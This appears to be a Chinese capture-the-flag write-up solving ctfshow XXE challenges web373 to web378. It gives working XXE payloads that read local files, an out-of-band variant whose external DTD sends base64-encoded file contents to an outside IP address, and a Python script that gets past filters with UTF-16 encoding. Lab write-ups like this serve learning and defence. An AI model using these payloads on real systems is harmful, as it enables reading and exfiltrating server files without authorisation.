目录
web373
web374
web375
web376
web377
web378
前置知识先看这篇文章:XXE漏洞学习
用的多的就是外部实体声明和参数实体声明
web373
有回显的xxe
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<z3r4y>
<ctfshow>&xxe;</ctfshow>
</z3r4y>
web374
无回显的xxe,vps外带,用参数实体注入
payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>
服务器上放evil.dtd
evil.dtd的内容,内部的%号要进行实体编码成%
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%all;
%send;
收到外带请求,base64解码即可
web375
多过滤了<?xml version="1.0",
问题不大,本来也不一定要用(xml头声明不强制要求,可有可无)
和web374一样即可
web376
就是过滤多加了一个过滤大小写,形同虚设
打法同web374
web377
好家伙,把http也ban了
可以看这篇文章(没错,Y4✌写的):XXE介绍与绕过 - SCU-CTF HomePage
payload都一样,只要上传时多加个编码即可
import requests
url = 'http://a4feaf21-d126-455c-beca-83288c5ae213.challenge.ctf.show/'
data = '''
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>
'''
r = requests.post(url=url,data=data.encode('utf-16'))
web378
右键查看源码发现这么一段:
一眼jQuery的AJAX,服务器会把msg信息给到回显
随便输,抓个包
擦,那不直接外部实体注入XXE读本地文件
payload:
<!DOCTYPE evil [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>